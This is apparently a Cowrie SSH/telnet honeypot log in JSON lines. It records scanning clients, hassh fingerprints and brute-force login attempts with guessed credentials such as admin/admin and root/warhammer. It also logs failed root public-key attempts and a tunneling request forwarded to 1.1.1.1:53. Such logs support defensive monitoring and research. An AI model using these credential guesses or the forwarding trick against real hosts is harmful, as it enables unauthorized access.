{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T11:16:51.981345Z","src_ip":"94.159.109.207","session":"64ccb210dbbb","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":39.91865515708923,"message":"Connection lost after 39 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T11:16:56.214138Z","src_ip":"192.119.13.58","session":"4821abe5b5ea","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"87.251.64.176","src_port":2142,"dst_ip":"10.17.0.5","dst_port":22,"session":"d38ce47ba4ea","protocol":"ssh","message":"New connection: 87.251.64.176:2142 (10.17.0.5:22) [session: d38ce47ba4ea]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T11:17:03.544726Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T11:17:03.549431Z","src_ip":"87.251.64.176","session":"d38ce47ba4ea","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"eff4c24daffc8532c160e86e5f006e53","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group14-sha1,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group1-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group14-sha1","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group1-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: eff4c24daffc8532c160e86e5f006e53","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T11:17:03.646544Z","src_ip":"87.251.64.176","session":"d38ce47ba4ea","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"admin","password":"admin","message":"login attempt [admin/admin] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T11:17:03.935265Z","src_ip":"87.251.64.176","session":"d38ce47ba4ea","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"1.1.1.1","dst_port":53,"src_ip":"87.251.64.176","src_port":0,"message":"direct-tcp connection request to 1.1.1.1:53 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T11:17:04.034598Z","session":"d38ce47ba4ea","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"1.1.1.1","dst_port":53,"data":"b'\\x00\\x16\\xab\\xcd\\x01\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x01a\\x02to\\x00\\x00\\x01\\x00\\x01'","id":0,"message":"discarded direct-tcp forward request 0 to 1.1.1.1:53 with data b'\\x00\\x16\\xab\\xcd\\x01\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x01a\\x02to\\x00\\x00\\x01\\x00\\x01'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T11:17:04.131700Z","src_ip":"87.251.64.176","session":"d38ce47ba4ea","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.7","message":"Connection lost after 0.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T11:17:04.230519Z","src_ip":"87.251.64.176","session":"d38ce47ba4ea","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":40.89836359024048,"message":"Connection lost after 40 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T11:17:14.659563Z","src_ip":"192.119.13.58","session":"398f0280c0cc","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"62.133.62.83","src_port":54244,"dst_ip":"10.17.0.5","dst_port":22,"session":"ccd4f825f06e","protocol":"ssh","message":"New connection: 62.133.62.83:54244 (10.17.0.5:22) [session: ccd4f825f06e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T11:17:14.941470Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T11:17:14.951143Z","src_ip":"62.133.62.83","session":"ccd4f825f06e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T11:17:15.036554Z","src_ip":"62.133.62.83","session":"ccd4f825f06e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"a123321a","message":"login attempt [root/a123321a] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T11:17:15.278442Z","src_ip":"62.133.62.83","session":"ccd4f825f06e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T11:17:16.360253Z","src_ip":"62.133.62.83","session":"ccd4f825f06e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"109.172.54.111","src_port":34262,"dst_ip":"10.17.0.5","dst_port":22,"session":"0546603235c9","protocol":"ssh","message":"New connection: 109.172.54.111:34262 (10.17.0.5:22) [session: 0546603235c9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T11:17:35.041960Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T11:17:35.376864Z","src_ip":"109.172.54.111","session":"0546603235c9","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T11:17:35.380684Z","src_ip":"109.172.54.111","session":"0546603235c9","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"warhammer","message":"login attempt [root/warhammer] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T11:17:35.815930Z","src_ip":"109.172.54.111","session":"0546603235c9","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.9","message":"Connection lost after 1.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T11:17:36.919967Z","src_ip":"109.172.54.111","session":"0546603235c9","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"167.172.81.52","src_port":63446,"dst_ip":"159.203.135.109","dst_port":22,"session":"3edc98464645","protocol":"ssh","message":"New connection: 167.172.81.52:63446 (159.203.135.109:22) [session: 3edc98464645]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T11:19:00.695259Z"}
{"eventid":"cowrie.client.version","version":"\u0003\u0000\u0000+&\\xe0\u0000\u0000\u0000\u0000\u0000Cookie: mstshash=hello","message":"Remote SSH version: \u0003\u0000\u0000+&\\xe0\u0000\u0000\u0000\u0000\u0000Cookie: mstshash=hello","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T11:19:00.704372Z","src_ip":"167.172.81.52","session":"3edc98464645","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.0","message":"Connection lost after 0.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T11:19:00.708460Z","src_ip":"167.172.81.52","session":"3edc98464645","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"68.235.62.179","src_port":30642,"dst_ip":"10.17.0.5","dst_port":22,"session":"a382c032ff2c","protocol":"ssh","message":"New connection: 68.235.62.179:30642 (10.17.0.5:22) [session: a382c032ff2c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T11:19:02.672206Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.0","message":"Remote SSH version: SSH-2.0-libssh2_1.11.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T11:19:02.678051Z","src_ip":"68.235.62.179","session":"a382c032ff2c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"14b2ddda386a4d1006108ccd231b42fc","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-rsa-cert-v01@openssh.com","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 14b2ddda386a4d1006108ccd231b42fc","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T11:19:02.709554Z","src_ip":"68.235.62.179","session":"a382c032ff2c","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"b4:25:e9:8f:47:09:68:2d:13:04:dc:8f:3a:b4:77:2d","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEA6V2T4iSgZq7yEHllDLKkKExQQ9q+yTE2xAF2FJeM0EdbWrVNGGIZZxSaoCcZIev0yGRdUCpuVeDNhH6/MoPrUDvughOQ16RKnGDS7HEWyoJVpw0KBPQd0u5q4xZ2dDs0IwzFOQSmLaxdDP1HUCuMu2IvhdTLt9S81/8mHL2qVhL5KoxktTGQr+JCw7NyzGbLadd7t0lV89YzHxgGEKfeQ1hziqgYd7QIdDyoQk5xElqhboKEIv9Ukow7TeXTcjjQlEGNzSZGsnxaTZ8C0WeREqZylenxcK++TfdZz2VDuDTlyHSase7IBBrGd+jHEofy+fwzHwQWlCwjtvIBfyVJkQ==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint b4:25:e9:8f:47:09:68:2d:13:04:dc:8f:3a:b4:77:2d","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T11:19:02.836531Z","src_ip":"68.235.62.179","session":"a382c032ff2c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"b4:25:e9:8f:47:09:68:2d:13:04:dc:8f:3a:b4:77:2d","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEA6V2T4iSgZq7yEHllDLKkKExQQ9q+yTE2xAF2FJeM0EdbWrVNGGIZZxSaoCcZIev0yGRdUCpuVeDNhH6/MoPrUDvughOQ16RKnGDS7HEWyoJVpw0KBPQd0u5q4xZ2dDs0IwzFOQSmLaxdDP1HUCuMu2IvhdTLt9S81/8mHL2qVhL5KoxktTGQr+JCw7NyzGbLadd7t0lV89YzHxgGEKfeQ1hziqgYd7QIdDyoQk5xElqhboKEIv9Ukow7TeXTcjjQlEGNzSZGsnxaTZ8C0WeREqZylenxcK++TfdZz2VDuDTlyHSase7IBBrGd+jHEofy+fwzHwQWlCwjtvIBfyVJkQ==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T11:19:02.842355Z","src_ip":"68.235.62.179","session":"a382c032ff2c","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"32:90:f9:7d:76:d6:e8:bc:97:fd:50:b0:97:fa:04:93","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEAtP3LIP0WZeLPw7UjrUlAIqtJHpY835wPYo3VjRmB7gAIHcOGMXPqEcuIkt5cNdV/kW5Q82J/wUJZLkDhVjji8q4r6zda8vHipS4rOcxZ3y2rhHCicgm/pY6iIFTj+MI7v4i1Jv1rrJZfKkELlGL8Dl+cIRril2tJvHwtKbEYIURc+2ZHzTang2Bgf3WnAo8RhU9vr9xT60Gl5Kw41P22eMm05e4qZgZ/CAuCFeteTb2thT3BRPSCKKKYOauQg8ziho9HcVSkRifXv04kaLwCsh7WT0+Gfoysnu6jxqFPoCdnin4QREqliGgZj6/dEjNyF+jzJlp4Wqy98IAm2oCPvw==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 32:90:f9:7d:76:d6:e8:bc:97:fd:50:b0:97:fa:04:93","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T11:19:02.883483Z","src_ip":"68.235.62.179","session":"a382c032ff2c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"32:90:f9:7d:76:d6:e8:bc:97:fd:50:b0:97:fa:04:93","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEAtP3LIP0WZeLPw7UjrUlAIqtJHpY835wPYo3VjRmB7gAIHcOGMXPqEcuIkt5cNdV/kW5Q82J/wUJZLkDhVjji8q4r6zda8vHipS4rOcxZ3y2rhHCicgm/pY6iIFTj+MI7v4i1Jv1rrJZfKkELlGL8Dl+cIRril2tJvHwtKbEYIURc+2ZHzTang2Bgf3WnAo8RhU9vr9xT60Gl5Kw41P22eMm05e4qZgZ/CAuCFeteTb2thT3BRPSCKKKYOauQg8ziho9HcVSkRifXv04kaLwCsh7WT0+Gfoysnu6jxqFPoCdnin4QREqliGgZj6/dEjNyF+jzJlp4Wqy98IAm2oCPvw==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T11:19:02.887601Z","src_ip":"68.235.62.179","session":"a382c032ff2c","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"0e:1d:c8:72:cb:a9:9a:0c:82:32:44:8c:13:db:4f:f3","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEAqaJHCxi99xXfCLCo36fFeKklk2JM26gjNYolp2QQtpUEk4+8KeaZyjm+YJ1nyiuuHyg8KVyaGQMYzeH2h7caawv4ncFmfLI38JnjB+c1+962uJy5v8b5dkExLGPwj9i7Z2PJ355dtrTAC1CidxfLyPizxxBfEhbMgQO32PDApnnyCGOSGefU8FDW4gm3zgAk53Hv3lTe08QJcHk2VCZFKMngecO11Q6Bkjl+TAJqBkWRRL2rBNzdRzajbeLdcX/4zBLKF7N/CVzWrF5OlNkkzQo6RA9T2m51pvIXg4DxenmV/7MYZXqFv3AAfhbuy2YPMS9+83tvfKW1s6g6NNAL7w==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 0e:1d:c8:72:cb:a9:9a:0c:82:32:44:8c:13:db:4f:f3","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T11:19:02.939407Z","src_ip":"68.235.62.179","session":"a382c032ff2c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"0e:1d:c8:72:cb:a9:9a:0c:82:32:44:8c:13:db:4f:f3","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEAqaJHCxi99xXfCLCo36fFeKklk2JM26gjNYolp2QQtpUEk4+8KeaZyjm+YJ1nyiuuHyg8KVyaGQMYzeH2h7caawv4ncFmfLI38JnjB+c1+962uJy5v8b5dkExLGPwj9i7Z2PJ355dtrTAC1CidxfLyPizxxBfEhbMgQO32PDApnnyCGOSGefU8FDW4gm3zgAk53Hv3lTe08QJcHk2VCZFKMngecO11Q6Bkjl+TAJqBkWRRL2rBNzdRzajbeLdcX/4zBLKF7N/CVzWrF5OlNkkzQo6RA9T2m51pvIXg4DxenmV/7MYZXqFv3AAfhbuy2YPMS9+83tvfKW1s6g6NNAL7w==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T11:19:02.944486Z","src_ip":"68.235.62.179","session":"a382c032ff2c","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"1b:9c:9a:6f:47:06:49:c9:4f:f0:5b:cf:e7:18:da:e4","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEAngBgnN97Ih4ZsJ9JuUtbfnEjCQIHGEkt+5uzeHnrmN1WXaSaJUET5D5rkKp7ItvtEoHSJgLVNpOp/1pmjS5nj1fhWRYS+0OziDDEwGZVRU+6SlnJPVQqrODMxxQJScgyMADkA9MqJj0c1mnboVlwvA0SPGKx6x7iM9SzrMHILOs2aa2NPnQkQJbFnRDs8qX0kpKPq0SSof4ekx1xsSPfGezUzd4QSY+BiwHOq2po+FL+hppFQTJTI/M44Bah2+s/GmkiEEoTMAKwiI8k0Uuqaidw+7saAHyAa+NITNT7RP66elBQCXP90mbAmOlP7xob1wC+kolw7FmlbvdM0iy+Mw==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 1b:9c:9a:6f:47:06:49:c9:4f:f0:5b:cf:e7:18:da:e4","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T11:19:02.977098Z","src_ip":"68.235.62.179","session":"a382c032ff2c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"1b:9c:9a:6f:47:06:49:c9:4f:f0:5b:cf:e7:18:da:e4","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEAngBgnN97Ih4ZsJ9JuUtbfnEjCQIHGEkt+5uzeHnrmN1WXaSaJUET5D5rkKp7ItvtEoHSJgLVNpOp/1pmjS5nj1fhWRYS+0OziDDEwGZVRU+6SlnJPVQqrODMxxQJScgyMADkA9MqJj0c1mnboVlwvA0SPGKx6x7iM9SzrMHILOs2aa2NPnQkQJbFnRDs8qX0kpKPq0SSof4ekx1xsSPfGezUzd4QSY+BiwHOq2po+FL+hppFQTJTI/M44Bah2+s/GmkiEEoTMAKwiI8k0Uuqaidw+7saAHyAa+NITNT7RP66elBQCXP90mbAmOlP7xob1wC+kolw7FmlbvdM0iy+Mw==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T11:19:02.981605Z","src_ip":"68.235.62.179","session":"a382c032ff2c","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"3d:3b:9a:61:7f:06:bc:ab:1a:09:a3:1c:84:e4:69:1d","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEAt7MAi6xO9HWQL/7prMO2hToWLbvyHdLOYoeEkAnidd+wkJBCuLFIk9Lude7s+9qJCXu87V0OW7hQ6k+uY6ERofmMAfMf/EOW2STleHsUZ4mDjqnt9GatULQTgXacyhxR+M/4413axy4TibyhkXHCk+4vJWqzcmp4+b98JHU6PIJcZAPjLxVJ1wJGOuf0EFHNlqrX50RtYnewIwakbNsHVTX8fhWh5bdUPGs47rJ9kEjy0Y6s3BHthFfJHZfsC40RJfMxHOeOB+HDuphKrdBfd13cfSEI4Y693J6KYv49OAkjRp0tnF6FMbiRbcMSmHviJ7kwk56cxc67z5ED9ZmE2Q==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 3d:3b:9a:61:7f:06:bc:ab:1a:09:a3:1c:84:e4:69:1d","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T11:19:03.014446Z","src_ip":"68.235.62.179","session":"a382c032ff2c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"3d:3b:9a:61:7f:06:bc:ab:1a:09:a3:1c:84:e4:69:1d","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEAt7MAi6xO9HWQL/7prMO2hToWLbvyHdLOYoeEkAnidd+wkJBCuLFIk9Lude7s+9qJCXu87V0OW7hQ6k+uY6ERofmMAfMf/EOW2STleHsUZ4mDjqnt9GatULQTgXacyhxR+M/4413axy4TibyhkXHCk+4vJWqzcmp4+b98JHU6PIJcZAPjLxVJ1wJGOuf0EFHNlqrX50RtYnewIwakbNsHVTX8fhWh5bdUPGs47rJ9kEjy0Y6s3BHthFfJHZfsC40RJfMxHOeOB+HDuphKrdBfd13cfSEI4Y693J6KYv49OAkjRp0tnF6FMbiRbcMSmHviJ7kwk56cxc67z5ED9ZmE2Q==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T11:19:03.018931Z","src_ip":"68.235.62.179","session":"a382c032ff2c","protocol":"ssh"}
